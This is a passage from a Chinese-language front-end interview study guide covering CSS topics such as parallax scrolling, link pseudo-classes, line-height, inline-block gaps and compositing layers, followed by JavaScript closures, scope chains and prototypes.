  • 纯 CSS 方案:background-attachment: fixed(最简单),或 perspective + translateZ 让不同层产生不同位移速度
  • 现代方案:CSS 滚动驱动动画 animation-timeline: scroll() / view(),不用 JS 就能把动画绑到滚动进度上
  • JS 方案:IntersectionObserver 判断元素进入视口后加 class 触发动画(性能远好于监听 scroll)
  • 性能要点:别在 scroll 事件里直接改样式,要么用 rAF 节流,要么交给 IntersectionObserver
  • 无障碍:配 prefers-reduced-motion 关掉视差,它是引发眩晕的典型效果

视差滚动是让背景层、内容层等元素随页面滚动以不同速度移动,从而形成层次感和立体效果。 实现时会监听滚轮或触摸事件,把滚动距离和方向换算成各层的位移或缩放值,再通过 transform 或动画库更新画面。每页可以分别配置淡入淡出、移动、旋转等效果,并按照滚动进度控制播放顺序和速度。动画过多会影响滚动流畅度,所以需要控制复杂度,并结合节流、防抖或硬件加速做优化。

视差滚动效果是一种在网页中使用的动画效果,通过在滚动页面时,不同层级的元素以不同的速度移动,形成立体的运动效果。这种效果可以给用户带来更加丰富、生动的视觉体验。

实现视差滚动效果时,可以将页面划分为背景层、内容层和悬浮层等不同的层级。通过设置不同层级的元素以不同的速度移动,可以形成层次感和立体效果。

具体实现视差滚动效果的方法如下:

  1. 使用HTML和CSS创建页面的不同层级,如背景层、内容层和悬浮层。
  2. 监听滚动事件(如鼠标滚轮事件或触摸滑动事件)。
  3. 当滚动事件触发时,根据滚动的距离和速度,计算出不同层级元素的位移值。
  4. 使用CSS的transform属性或JavaScript的动画库(如GSAP、ScrollMagic等)来实现元素的平移或缩放效果。
  5. 根据需求,为每个页面或元素设置不同的动画效果,如淡入淡出、旋转、缩放等。
  6. 根据滚动的进度和方向,控制元素的动画播放顺序和速度,以达到预期的视差滚动效果。

需要注意的是,在实现视差滚动效果时,要考虑到性能和用户体验。过多或复杂的动画效果可能会影响页面加载和滚动的流畅性,因此需要谨慎选择和设计动画效果,并进行性能优化,如合理使用硬件加速、使用节流和防抖等技术手段。

另外,为每个页面或元素设置不同的动画效果可以根据具体的设计需求来确定。可以根据页面的主题、内容或目的来决定使用何种动画效果,如淡入淡出效果、元素的移动或旋转效果等,以增加页面的吸引力和交互性。可以通过CSS的animation属性或JavaScript的动画库来实现这些动画效果,并根据滚动进度或其他触发条件来控制动画的播放。

总结

  • 视差滚动是指多层背景以不同的速度移动,形成立体的运动效果,具有非常出色的视觉体验
  • 一般把网页解剖为:背景层、内容层和悬浮层。当滚动鼠标滚轮时,各图层以不同速度移动,形成视差的
  • 实现原理
    • 以 “页面滚动条” 作为 “视差动画进度条”
    • 以 “滚轮刻度” 当作 “动画帧度” 去播放动画的
    • 监听 mousewheel 事件,事件被触发即播放动画,实现“翻页”效果

# 78 a标签上四个伪类的执行顺序是怎么样的

⚡ 30 秒速记

  • 顺序:link → visited → hover → active,记忆口诀 LoVe HAte(爱恨)
  • 为什么必须按这个顺序:它们权重相同,后写的覆盖先写的。hover 写在 visited 前面的话,访问过的链接就不会有 hover 效果了
  • :focus 通常放在 hover 之后、active 之前,现代更推荐用 :focus-visible(只在键盘操作时显示焦点环)
  • 隐私限制::visited 出于隐私考虑只允许改颜色类属性(color、background-color、border-color),改尺寸或 content 无效
  • 实际项目里 a 标签样式通常统一在设计系统里定义,别每个页面各写一套

a 标签四个伪类通常按 :link、:visited、:hover、:active 的顺序书写。 它们分别对应未访问、已访问、鼠标悬停和正在激活的链接状态,可以用 L-V-H-A,也就是 “Love Hate” 来记。保持这个顺序,后面的交互状态才能在需要时覆盖前面的基础状态。实际编写时还要注意选择器权重,避免其他样式干扰覆盖结果。

伪类在a标签上的执行顺序是 link(未访问链接) -> visited(已访问链接) -> hover(鼠标悬停) -> active(激活状态)。

执行顺序可以用记忆口诀 "L-V-H-A"(Love Hate)来记忆,表示喜欢和讨厌的顺序。首先应用 link 样式,然后是 visited 样式,接着是 hover 样式,最后是 active 样式。这个顺序也是 CSS 解析和应用伪类样式的规定顺序。

# 79 伪元素和伪类的区别和作用

⚡ 30 秒速记

  • 与第 34 题重复,看那题的速记卡
  • 伪类描述已存在元素的状态(:hover、:checked、:nth-child)
  • 伪元素创建本不存在的元素(::before、::after、::first-line)
  • 写法:伪类单冒号,伪元素双冒号
  • 伪元素不在 DOM 里,JS 选不到也不能绑事件

伪类给已有元素添加特定状态下的样式,伪元素则用于表现文档中并不存在的额外内容或局部结构。 比如 a:hover 和 p:first-child 都是在匹配现有元素,不会创建新元素。p::before、p::after 可以在内容前后插入展示内容,p::first-line、p::first-letter 则能单独修饰首行或首字母。简单来说,需要描述元素状态时用伪类,需要补充视觉内容或选中局部结构时用伪元素。

  • 伪元素 -- 在内容元素的前后插入额外的元素或样式,但是这些元素实际上并不在文档中生成。
  • 它们只在外部显示可见,但不会在文档的源代码中找到它们,因此,称为“伪”元素。例如:
p::before {content:"第一章:";}
p::after {content:"Hot!";}
p::first-line {background:red;}
p::first-letter {font-size:30px;}

  • 伪类 -- 将特殊的效果添加到特定选择器上。它是已有元素上添加类别的,不会产生新的元素。例如:
a:hover {color: #FF00FF}
p:first-child {color: red}

# 80 ::before 和 :after 中双冒号和单冒号有什么区别

⚡ 30 秒速记

  • 与第 20 题重复,看那题的速记卡
  • 双冒号是 CSS3 为区分伪元素和伪类引入的,单冒号是 CSS2 遗留写法
  • 浏览器为兼容仍接受单冒号形式的伪元素,但新代码一律写双冒号
  • IE8 只认单冒号,这是老代码写 :before 的原因
  • 两者都必须写 content 才会生成

双冒号是 CSS3 为伪元素规定的新写法,单冒号则是早期 CSS 沿用下来的旧语法。 伪类一直使用单冒号,例如 :hover 和 :active;改用 ::before、::after,是为了从语法上把伪元素与伪类区分开。由于低版本 IE 不兼容双冒号,老代码常用 :before、:after 来照顾兼容性。实际开发中是否保留单冒号,主要取决于项目需要支持的浏览器范围。

  • 在 CSS 中伪类一直用 : 表示,如 :hover, :active 等
  • 伪元素在CSS1中已存在,当时语法是用 : 表示,如 :before 和 :after
  • 后来在CSS3中修订,伪元素用 :: 表示,如 ::before 和 ::after,以此区分伪元素和伪类
  • 由于低版本IE对双冒号不兼容,开发者为了兼容性各浏览器,继续使使用 :after 这种老语法表示伪元素
  • 总结起来,::before 是CSS3中写伪元素的新语法,而 :after 是早期版本CSS中存在的、兼容IE的旧语法,用于表示伪元素。在实际开发中,为了兼容性考虑,可以选择使用单冒号的写法。

# 81 如何修改Chrome记住密码后自动填充表单的黄色背景

⚡ 30 秒速记

  • 成因:Chrome 给自动填充的输入框加了 :-webkit-autofill 伪类,背景色是 UA 样式,普通 background 改不掉
  • 常用 hack:input:-webkit-autofill { -webkit-box-shadow: 0 0 0 1000px #fff inset } —— 用超大内阴影盖住背景
  • 文字颜色用 -webkit-text-fill-color 改(color 无效)
  • 想去掉过渡时的黄色闪烁:transition: background-color 5000s ease-in-out 0s(把过渡拖到永远不结束)
  • 这题考的是"遇到 UA 样式改不动时怎么绕",思路比具体代码重要

可以针对 Chrome 自动填充输入框时添加的 input:-webkit-autofill 状态覆盖背景,或者直接关闭表单自动填充。 黄色背景来自浏览器为自动填充表单附加的私有样式,因此普通输入框规则未必能覆盖它。需要保留自动填充时,可设置 input:-webkit-autofill { background-color: transparent; };不需要该能力时,可在 form 上设置 autocomplete="off"。前者保留使用便利,后者处理更直接,应按表单场景取舍。

  • 产生原因:由于Chrome默认会给自动填充的input表单加上 input:-webkit-autofill 私有属性造成的
  • 解决方案1:在form标签上直接关闭了表单的自动填充:autocomplete="off"
  • 解决方案2:input:-webkit-autofill { background-color: transparent; }

input [type=search] 搜索框右侧小图标如何美化?

input[type="search"]::-webkit-search-cancel-button{
  -webkit-appearance: none;
  height: 15px;
  width: 15px;
  border-radius: 8px;
  background:url("images/searchicon.png") no-repeat 0 0;
  background-size: 15px 15px;
}

# 82 网站图片文件,如何点击下载?而非点击预览

⚡ 30 秒速记

  • HTML 方案:<a href="/img.png" download="文件名.png">,同源时最简单
  • 跨域时 download 属性会被忽略,需要服务端配合:响应头设 Content-Disposition: attachment; filename="x.png"
  • 纯前端跨域方案:fetch 拿到 blob → URL.createObjectURL → 创建 a 标签触发点击 → revokeObjectURL 释放
  • 也可以用 canvas 画一遍再 toBlob 导出(会丢 EXIF,且图片需允许跨域 crossorigin)
  • 注意及时 revokeObjectURL,否则 blob 一直占内存

可以给指向图片的 <a> 标签添加 download 属性,让浏览器点击后优先下载而不是预览。 例如 <a href="logo.jpg" download>下载</a> 会下载该图片,也可以写成 download="网站LOGO" 来指定保存时使用的文件名。这个方案依赖浏览器对 download 的支持,部分浏览器存在限制,点击后仍可能打开预览。如果网站启用了内容安全策略 CSP,还要确认相关配置允许文件下载。

可以通过在 <a> 标签中添加 href 属性来指定图片文件的路径,并使用 download 属性来指示浏览器下载该文件而非预览。

<a href="logo.jpg" download>下载</a>

上述代码会在网页中显示一个链接,点击该链接会下载名为 logo.jpg 的图片文件。

您还可以通过添加 download 属性的值来指定下载文件的名称,如下所示:

<a href="logo.jpg" download="网站LOGO">下载</a>

上述代码会下载名为 网站LOGO.jpg 的图片文件。

请注意,download 属性在某些浏览器中可能不被支持或具有限制。在不支持该属性的浏览器中,点击链接可能仍然会打开预览。此外,如果您在网站中使用了内容安全策略(Content Security Policy),可能需要额外配置才能允许下载文件。

确保文件路径正确,并根据需要设置适当的下载文件名称。

# 83 你对 line-height 是如何理解的

⚡ 30 秒速记

  • 定义:行高是相邻两行文字基线之间的距离,不是文字本身的高度
  • 行内框模型:内容区(由 font-size 和字体决定)+ 行间距(line-height 减内容区高度,上下各分一半)
  • 单行文字垂直居中的原理就是让 line-height 等于容器高度,让上下行间距把文字挤到中间
  • 块级元素的高度由内部所有行框累加而成,所以改 line-height 会改变块的高度 —— 它是个隐形的布局属性
  • 三种取值差别见第 84 题,纯数字最推荐

line-height 表示一行文字占用的高度,它同时包含字体实际高度和上下行间距。 容器没有显式设置 height 时,文本产生的行框会把容器撑开,因此调整行高也会影响整体布局。单行文本场景下,把 line-height 设成与容器高度相同,通常可以实现垂直居中。多行文本则更适合用它控制行间距,不能简单套用单行居中的做法。

  • line-height 是一行字的高度,包括了字体的实际高度以及行间距(字间距)。
  • 当一个元素没有显式设置 height 属性时,它的高度会由 line-height 决定。
  • 如果一个容器没有设置高度,并且容器内部有文本内容,那么容器的高度会由 line-height 撑开。
  • 如果将 line-height 设置为与容器的 height 相同的值,可以实现单行文本的垂直居中。
  • 注意,line-height 和 height 都可以撑开元素的高度,但是设置 height 属性会触发元素的 haslayout(仅适用于部分浏览器),而 line-height 不会触发该特性。

需要注意的是,line-height 还可以影响多行文本的行间距和垂直居中,它是一个很常用的属性用于调整文本的排版和布局。

# 84 line-height 三种赋值方式有何区别?(带单位、纯数字、百分比)

⚡ 30 秒速记

  • 纯数字(推荐):继承的是这个倍数本身,子元素各自用自己的 font-size 去乘,结果最符合直觉
  • 百分比和带单位的值:在父元素上就先算成具体像素了,子元素继承的是那个固定像素值 —— 子元素字号变大时行高不跟着变,文字会挤在一起
  • 举例:父 font-size:16px; line-height:150% → 子元素继承到的是 24px 死值;写成 line-height:1.5 则子元素按自己字号算
  • em 和百分比行为一样,都是"先算后继承"
  • 结论:正文行高一律写纯数字(如 1.5、1.6),只有需要精确对齐的场景才用固定值

三种写法的核心区别,在于后代继承的是具体行高,还是可以按自身字号计算的比例。 px 直接指定固定值,em 和百分比会先结合当前元素的 font-size 算出行高,再把计算值传给后代。纯数字传递的是比例,例如子元素字号为 18px、继承 1.5 时,行高就是 27px。因此字号可能变化的正文区域,我一般更倾向纯数字,固定对齐时再考虑带单位的值。

对于 line-height 的三种赋值方式,如下所述:

  1. 带单位:使用像素 (px) 或其他单位 (如 em) 进行赋值。当使用固定值(如 px)时,line-height 会直接采用该固定值作为行高。而当使用相对单位(如 em)时,line-height 会根据元素的父元素的字体大小 (font-size) 来计算行高,即乘以相应的倍数。
  2. 纯数字:直接使用数字进行赋值。这种情况下,数字会被传递给后代元素,作为其行高的比例因子。例如,如果父元素的行高为 1.5,而子元素的字体大小为 18px,那么子元素的行高就会被计算为 1.5 * 18 = 27px。
  3. 百分比:使用百分比进行赋值。百分比值会相对于父元素的字体大小进行计算,并将计算后的值传递给后代元素作为其行高。

总的来说,带单位的方式是直接指定具体的行高值,纯数字和百分比的方式会将计算后的行高值传递给后代元素。这些不同的赋值方式可以根据具体的需求和设计效果来选择使用。

# 85 设置元素浮动后,该元素的 display 值会如何变化

⚡ 30 秒速记

  • 与第 18 题重复
  • 会被"块级化":inline → block、inline-block → block、inline-table → table,其余基本不变
  • 严谨说法是"计算值被调整",你写的声明值没变,但 getComputedStyle 读出来是 block
  • 同样的块级化也发生在 position:absolute/fixed 上
  • 原因:脱离常规流的盒子必须是块级盒子

元素设置浮动后,不能简单理解为所有 display 声明都会被改成 block,但它会生成块级框并脱离正常文档流。 对 span、a 这类默认内联元素来说,浮动后会表现为块级元素,可以设置宽高。其他元素仍要结合原本或显式声明的 display 判断,不能一概而论。浮动后的内容还会允许周围内容环绕,因此布局时通常也要关注它对兄弟元素的影响。

  • 设置元素浮动后,元素的 display 值并不会自动变成 block,而是保持原有的 display 值。浮动元素的 display 值仍然是根据元素的默认样式或通过 CSS 显式设置的值。
  • 然而,浮动元素会生成一个块级框,并且脱离了正常的文档流,会影响其他元素的布局。常见的浮动值为 left 或 right,使元素向左或向右浮动,并允许其他内容环绕在其周围。
  • 需要注意的是,对于一些内联元素,如 span、a 等,默认的 display 值是 inline,当设置这些内联元素为浮动时,会自动转换为 block,但这并不适用于所有元素。

# 86 让页面里的字体变清晰,变细用CSS怎么做?(IOS手机浏览器字体齿轮设置)

⚡ 30 秒速记

  • -webkit-font-smoothing: antialiased 让 macOS/iOS 上的字体变细变清晰(默认是 subpixel-antialiased 会显得偏粗)
  • -moz-osx-font-smoothing: grayscale 是 Firefox on macOS 的对应写法
  • 注意这两个属性只在 macOS/iOS 上有效,Windows 无感
  • 相关的还有 text-rendering: optimizeLegibility(开启连字和字距微调,但会拖慢渲染,慎用大段文本)
  • 现代补充:font-synthesis 控制是否合成粗体/斜体,font-optical-sizing 让可变字体按字号自动调整字形

在 iOS Safari 中,可以设置 -webkit-font-smoothing: antialiased,让字体显示得更清晰、细腻一些。 这个属性控制的是字体平滑效果,可以写在 body 上统一应用,也可以只加到需要调整的局部元素上。它属于特定浏览器相关的非标准属性,并不能保证在其他浏览器中产生相同效果。因此我会把它当作 iOS 端的显示优化,而不是跨平台字体粗细控制方案。

通过设置 -webkit-font-smoothing 属性为 antialiased 可以在 iOS 手机浏览器中使字体显示更清晰、更细腻。这个属性是针对 iOS Safari 浏览器的特定设置。

body {
  -webkit-font-smoothing: antialiased;
}

将上述代码应用于你的 CSS 文件中,或者将其添加到你想要应用字体设置的元素的样式中,可以改善字体在 iOS 手机浏览器中的显示效果。注意,该属性只在 iOS Safari 浏览器中生效,在其他浏览器中可能没有效果。

# 87 font-style 属性 oblique 是什么意思

⚡ 30 秒速记

  • oblique 是"倾斜体":把正常字形机械地斜切一个角度生成
  • italic 是"斜体":使用字体家族里专门设计的斜体字形,笔画形态会真的不一样(尤其衬线字体)
  • 如果字体没有提供 italic 字形,浏览器会退而合成一个 oblique 效果
  • CSS Fonts 4 支持指定角度:font-style: oblique 14deg
  • 中文字体基本没有真正的 italic 字形,所以中文的"斜体"都是合成的 oblique —— 排版上通常不建议用

font-style: oblique 表示让正常字形向右倾斜,以模拟斜体效果。 它和 italic 的区别是,italic 通常使用字体设计师专门制作的斜体字形,而 oblique 只是倾斜原有字形。当字体没有提供专门的斜体时,可以用它获得类似效果。因为这种机械倾斜不一定自然,排版要求较高时应优先选择带真正斜体字形的字体。

font-style: oblique; 是用来设置字体样式为倾斜(oblique)的。当字体本身没有提供 italic 斜体样式时,可以使用 oblique 属性来模拟倾斜效果。

倾斜样式是一种字体样式,使字体呈现为向右倾斜的外观,类似于斜体(italic)样式。不同之处在于,斜体样式是由字体设计师提供的专门的斜体字形,而倾斜样式是通过将正常字形倾斜来模拟出来的。

使用 font-style: oblique; 可以在没有专门提供斜体字形的字体上实现倾斜效果,但需要注意的是,由于是通过倾斜正常字形来模拟,所以结果可能不如专门设计的斜体字形效果好。

# 88 display:inline-block 什么时候会显示间隙

⚡ 30 秒速记

  • 与第 16、61 题同一考点
  • 成因:HTML 源码中标签之间的换行/空格被渲染成一个空白字符,不是 CSS 的问题
  • 消除:父元素改 Flex/Grid(首选)、父元素 font-size:0 子元素设回、标签间不留空白、用注释填住换行
  • margin 负值的做法依赖字号,脆弱,不推荐
  • 顺带一提 inline-block 还有个坑:默认 vertical-align:baseline,容器底部会多出几像素,设 vertical-align:top/middle 可解

相邻的 inline-block 元素之间只要保留了换行或空格,页面上通常就会出现水平间隙。 本质上这些源码空白会作为文本空白参与行内排版,间隙大小还会受到父元素字号影响。常见处理是让标签紧挨着写,或者把父元素设为 font-size: 0,再给子元素恢复字号。另外它默认按基线对齐,底部可能留下垂直空隙,此时可设置 vertical-align: top。

display: inline-block; 可能会在元素之间产生间隙的情况包括:

  1. 相邻的 inline-block 元素之间有换行或空格分隔时,会产生间隙。
  2. 非 inline-block 的水平元素设置为 inline-block 时,会有默认的水平间距。
  3. 默认情况下,inline-block 元素的默认对齐方式是基线对齐,而不是顶部对齐,因此可能会产生垂直间隙。可以通过设置 vertical-align: top; 将元素顶部对齐来消除垂直间隙。
  4. 父元素的字体大小会影响 inline-block 元素的间隙。如果父元素设置了字体大小,可以将其设置为 font-size: 0;,然后在 inline-block 元素内部设置所需的字体大小,以消除垂直间隙。
  5. 将多个 li 标签写在同一行,可以消除垂直间隙,但这会导致代码可读性差。

这些方法可以用来解决 inline-block 元素之间产生的间隙问题。

# 89 一个高度自适应的div,里面有两个div,一个高度100px,希望另一个填满剩下的高度

⚡ 30 秒速记

  • Flex(首选):父 display:flex; flex-direction:column; height:100%,第一个 flex:0 0 100px,第二个 flex:1
  • Grid:grid-template-rows: 100px 1fr
  • calc:第二个 height: calc(100% - 100px),需要父元素有确定高度
  • 绝对定位:父 relative,第二个 absolute + top:100px; bottom:0
  • 提醒:Flex 方案里第二个子项如果内容会溢出,记得加 min-height: 0(flex 子项默认 min-height:auto,会撑破容器,这是高频坑)

我一般会把父容器设为纵向 Flex 布局,固定第一个子元素为 100px,再给另一个设置 flex: 1 填满剩余高度。 这种写法会由布局系统自动分配空间,不需要手算尺寸。也可以用 height: calc(100% - 100px),但百分比生效需要父容器具备可计算的高度。如果布局依赖定位,则可让父元素相对定位,并给第二个元素设置 position: absolute、top: 100px 和 bottom: 0。

  • 方案1:
    • .sub { height: calc(100%-100px); }
  • 方案2:
    • .container { position:relative; }
    • .sub { position: absolute; top: 100px; bottom: 0; }
  • 方案3:
    • .container { display:flex; flex-direction:column; }
    • .sub { flex:1; }

这三种方案都可以实现一个高度自适应的 div,其中一个子 div 高度为 100px,另一个子 div 填满剩下的高度。

  • 方案1使用了 calc() 函数来计算剩余高度,.sub 的高度设置为 calc(100% - 100px),即剩余高度。
  • 方案2使用了相对定位和绝对定位,父容器 .container 设置为相对定位,子 div .sub 设置为绝对定位,设置 top: 100px 让其距离顶部 100px,设置 bottom: 0 让其底部与父容器底部对齐。
  • 方案3使用了弹性布局(Flexbox),父容器 .container 设置为 display: flex,并指定 flex-direction: column 使其垂直排列。子 div .sub 使用 flex: 1 来填充剩余的空间,自动调整高度。

这些方案都可以实现相应的效果,具体选择哪种方案取决于实际需求和布局结构。

# 90 css 的渲染层合成是什么 浏览器如何创建新的渲染层

⚡ 30 秒速记

  • 渲染流水线:DOM + CSSOM → 渲染树 → 布局(Layout) → 分层(Layer) → 绘制(Paint) → 栅格化 → 合成(Composite)
  • 合成层的意义:独立于主线程,由 GPU 单独处理位移/缩放/透明度,动画时不必重新布局和绘制
  • 常见的提升为合成层的条件:3D transform、will-change: transform/opacity、video/canvas/iframe、position:fixed、opacity 动画、有合成层后代且自身有层叠上下文
  • 隐式合成:一个元素如果层级在某个合成层之上,会被迫也提升为合成层 —— 这是"层爆炸"的主要来源
  • 代价:每层都占显存,层太多反而更卡。用 DevTools 的 Layers 面板检查层数
  • 实践原则:只给真正在动的元素加 will-change,动画结束后移除

渲染层合成是浏览器把处于不同层叠空间的渲染对象分层,再按正确顺序组合显示的过程。 这样才能正确处理元素重叠、透明度和混合效果,合成顺序不对就可能出现显示异常。浏览器可能因定位属性、透明度或混合模式,以及 3D transform、filter 等视觉效果创建新层。animation、transition、遮罩或 backface-visibility: hidden 等也可能触发分层,具体是否创建仍由浏览器结合页面情况决定。

在 DOM 树中每个节点都会对应一个渲染对象(RenderObject),当它们的渲染对象处于相同的坐标空间(z 轴空间)时,就会形成一个 RenderLayers,也就是渲染层。渲染层将保证页面元素以正确的顺序堆叠,这时候就会出现层合成(composite`),从而正确处理透明元素和重叠元素的显示。对于有位置重叠的元素的页面,这个过程尤其重要,因为一旦图层的合并顺序出错,将会导致元素显示异常

在 CSS 中,渲染层合成(Layer Composition)是浏览器中用于处理页面元素的显示和堆叠顺序的机制。它通过创建新的渲染层(Render Layer)来管理页面中的元素,并确保它们以正确的顺序进行渲染和呈现。

浏览器创建新的渲染层的条件包括但不限于以下情况:

  1. 定位属性:元素具有 position: fixed、position: relative、position: sticky、position: absolute 等定位属性时,会创建新的渲染层。
  2. 透明度和混合模式:元素的透明度设置小于 1(opacity: 0.5)或具有非 normal 的混合模式(mix-blend-mode: multiply)时,会创建新的渲染层。
  3. 3D 变换:元素具有 3D 变换(transform: translateZ(0))时,会创建新的渲染层。
  4. 滤镜效果:元素应用了滤镜效果(filter: blur(5px))时,会创建新的渲染层。
  5. 遮罩效果:元素应用了遮罩效果(mask-image: url(mask.png))时,会创建新的渲染层。
  6. CSS 动画:元素正在进行 CSS 动画(animation、transition)时,会创建新的渲染层。
  7. 其他因素:还有一些其他因素,如元素应用了 backface-visibility: hidden、column-count 不为 auto 等,也可能触发创建新的渲染层。

创建新的渲染层有助于确保页面元素以正确的顺序进行堆叠和渲染,并处理透明元素和重叠元素的显示。这对于具有位置重叠的页面元素尤为重要,因为合成层的顺序错误可能导致元素显示异常。通过创建新的渲染层,浏览器可以更好地管理元素的渲染和呈现,提高页面的性能和用户体验。

# 三、JavaScript相关

# 1 闭包

⚡ 30 秒速记

  • 定义:函数和它定义时所处词法环境的组合 —— 函数记住了自己"出生的地方"
  • 经典考法是循环里的 setTimeout:var 版打印三个 3(函数作用域,三个回调共享同一个 i),let 版打印 0/1/2(块级作用域,每次迭代新建绑定)
  • ES5 时代用 IIFE 拷贝当时的值,现在直接用 let
  • 实用价值:私有变量(模块模式)、函数工厂(柯里化)、缓存(记忆化)、防抖节流里的计时器
  • 代价:被引用的变量无法回收,用完要解除引用,否则就是内存泄漏

闭包是函数与其定义时词法环境的组合,让函数离开原作用域后仍能访问外层变量。 比如防抖函数返回的回调会一直引用 timer,从而在多次调用之间保存状态。它也适合封装私有变量、实现缓存;循环异步回调则可用 let 创建每轮独立绑定,ES5 中通常借助 IIFE。闭包会延长被引用变量的生命周期,因此不用时应解除引用,避免不必要的内存占用。

  • 闭包就是能够读取其他函数内部变量的函数

  • 闭包是指有权访问另一个函数作用域中变量的函数,创建闭包的最常见的方式就是在一个函数内创建另一个函数,通过另一个函数访问这个函数的局部变量,利用闭包可以突破作用链域

  • 闭包的特性:

    • 函数内再嵌套函数
    • 内部函数可以引用外层的参数和变量
    • 参数和变量不会被垃圾回收机制回收

说说你对闭包的理解

  • 使用闭包主要是为了设计私有的方法和变量。闭包的优点是可以避免全局变量的污染,缺点是闭包会常驻内存,会增大内存使用量,使用不当很容易造成内存泄露。在js中,函数即闭包,只有函数才会产生作用域的概念

  • 闭包 的最大用处有两个,一个是可以读取函数内部的变量,另一个就是让这些变量始终保持在内存中

  • 闭包的另一个用处,是封装对象的私有属性和私有方法

  • 好处:能够实现封装和缓存等;

  • 坏处:就是消耗内存、不正当使用会造成内存溢出的问题

使用闭包的注意点

  • 由于闭包会使得函数中的变量都被保存在内存中,内存消耗很大,所以不能滥用闭包,否则会造成网页的性能问题,在IE中可能导致内存泄露
  • 解决方法是,在退出函数之前,将不使用的局部变量全部删除

举出闭包实际场景运用的例子

  1. 比如常见的防抖节流
// 防抖
function debounce(fn, delay = 300) {
  let timer; //闭包引用的外界变量
  return function () {
    const args = arguments;
    if (timer) {
      clearTimeout(timer);
    }
    timer = setTimeout(() => {
      fn.apply(this, args);
    }, delay);
  };
}
  1. 使用闭包可以在 JavaScript 中模拟块级作用域
function outputNumbers(count) {
  (function () {
    for (var i = 0; i < count; i++) {
      alert(i);
    }
  })();
  alert(i); //导致一个错误!
}
  1. 闭包可以用于在对象中创建私有变量
var aaa = (function () {
  var a = 1;
  function bbb() {
    a++;
    console.log(a);
  }
  function ccc() {
    a++;
    console.log(a);
  }
  return {
    b: bbb, //json结构
    c: ccc,
  };
})();
console.log(aaa.a); //undefined
aaa.b(); //2
aaa.c(); //3

# 2 说说你对作用域链的理解

⚡ 30 秒速记

  • 作用域链是变量查找的路径:当前作用域找不到就去外层找,一直找到全局,还没有就报 ReferenceError
  • 它在函数定义时就确定了(词法作用域/静态作用域),不是调用时决定的 —— 这点和 this 正好相反
  • 三种作用域:全局、函数、块级(let/const 带来的)
  • 闭包就是函数带着自己的作用域链离开了定义位置,所以还能访问外层变量
  • 加分点:作用域链决定"能不能访问到变量",原型链决定"能不能访问到属性",两条链别混

作用域链就是变量和函数的查找路径:先查当前作用域,找不到再逐层向外,直到全局作用域。 它由函数定义位置决定,调用函数时会创建新的执行环境并放到查找链前端,所以内部函数能访问外层变量,外层却不能反向访问内部变量。闭包本质上保留了这条链,使外层变量在函数执行结束后仍可能存活。要注意,作用域链解决变量可见性,不能和查找对象属性的原型链混为一谈。

  • 作用域链是一种用于查找变量和函数的机制,它是由当前执行环境和其所有父级执行环境的变量对象组成的链式结构。当在一个执行环境中访问变量或函数时,会首先在当前执行环境的变量对象中查找,如果找不到,则会沿着作用域链向上查找,直到找到对应的变量或函数,或者达到最外层的全局对象(如window)。
  • 作用域链的创建是在函数定义时确定的,它与函数的定义位置有关。当函数被调用时,会创建一个新的执行环境,其中包含一个新的变量对象,并将其添加到作用域链的前端。这样,函数内部就可以访问其所在作用域以及其外部作用域中的变量和函数,形成了一个作用域链。

以下是一个示例,展示了作用域链的工作原理:

function outer() {
  var outerVar = 'Outer variable';

  function inner() {
    var innerVar = 'Inner variable';
    console.log(innerVar); // 内部作用域的变量
    console.log(outerVar); // 外部作用域的变量
    console.log(globalVar); // 全局作用域的变量
  }

  inner();
}

var globalVar = 'Global variable';
outer();

在上述示例中,函数inner()内部可以访问到其外部函数outer()中定义的变量outerVar,这是因为inner()的作用域链中包含了外部函数的变量对象。同样,inner()也可以访问全局作用域中的变量globalVar,因为全局作用域也在作用域链中。

通过作用域链的机制,函数可以访问外部作用域中的变量,但外部作用域不能访问函数内部的变量,这就实现了变量的封装和保护。

值得注意的是,当函数执行完毕后,其执行环境会被销毁,对应的变量对象也会被释放,因此作用域链也随之消失。这也是闭包的概念中所提到的保持变量的生命周期的特性。

总结

  • 作用域链的作用是保证执行环境里有权访问的变量和函数是有序的,作用域链的变量只能向上访问,变量访问到window对象即被终止,作用域链向下访问变量是不被允许的
  • 简单的说,作用域就是变量与函数的可访问范围,即作用域控制着变量与函数的可见性和生命周期

# 3 JavaScript原型,原型链 ? 有什么特点?

⚡ 30 秒速记

  • 三个概念别混:__proto__ 是实例身上指向原型的指针;prototype 只有函数才有,是 new 出来的实例的原型;constructor 是原型上指回构造函数的属性
  • 一句话串起来:实例.__proto__ === 构造函数.prototype
  • 查找属性沿着链往上找,找到为止,走到 null 就返回 undefined —— 这就是继承的实现原理
  • 链的尽头是 Object.prototype,它的 __proto__ 是 null
  • 加分点:Object.create(null) 造出来的对象没有原型,适合做纯净字典,避免 toString 这类键名冲突

原型是对象共享属性和方法的关联对象,原型链则是属性不存在时沿原型逐层查找的路径。 构造函数的 prototype 会成为其所创建实例的原型,因此通常有 instance.__proto__ === Constructor.prototype,而原型上的 constructor 又指回构造函数。查找会从对象自身开始,一直向上直到找到目标;到链尾仍未找到时得到 undefined。由于原型通过引用共享,修改原型会影响所有关联实例,这既方便复用,也需要避免意外污染。

  • 每个对象都会在其内部初始化一个属性,就是__proto__,当我们访问一个对象的属性时
  • 如果这个对象内部不存在这个属性,那么他就会去__proto__里找这个属性,这个__proto__又会有自己的__proto__,于是就这样一直找下去,也就是我们平时所说的原型链的概念。按照标准,__proto__ 是不对外公开的,也就是说是个私有属性
  • 关系:instance.constructor.prototype == instance.__proto__
// eg.
var a = {}

a.constructor.prototype == a.__proto__
  • 特点:

    • JavaScript对象是通过引用来传递的,我们创建的每个新对象实体中并没有一份属于自己的原型副本。当我们修改原型时,与之相关的对象也会继承这一改变
  • 当我们需要一个属性的时,Javascript引擎会先看当前对象中是否有这个属性, 如果没有的

  • 就会查找他的Prototype对象是否有这个属性,如此递推下去,一直检索到 Object 内建对象

  • 原型:

    • JavaScript的所有对象中都包含了一个 [__proto__] 内部属性,这个属性所对应的就是该对象的原型
    • JavaScript的函数对象,除了原型 [__proto__] 之外,还预置了 prototype 属性
    • 当函数对象作为构造函数创建实例时,该 prototype 属性值将被作为实例对象的原型 [__proto__]。
  • 原型链:

    • 当一个对象调用的属性/方法自身不存在时,就会去自己 [__proto__] 关联的前辈 prototype 对象上去找
    • 如果没找到,就会去该 prototype 原型 [__proto__] 关联的前辈 prototype 去找。依次类推,直到找到属性/方法或 undefined 为止。从而形成了所谓的“原型链”
  • 原型特点:

    • JavaScript对象是通过引用来传递的,当修改原型时,与之相关的对象也会继承这一改变

# 4 请解释什么是事件代理

⚡ 30 秒速记

  • 也叫事件委托:把监听器挂在父元素上,靠冒泡接住子元素的事件,用 event.target 判断真正被点的是谁
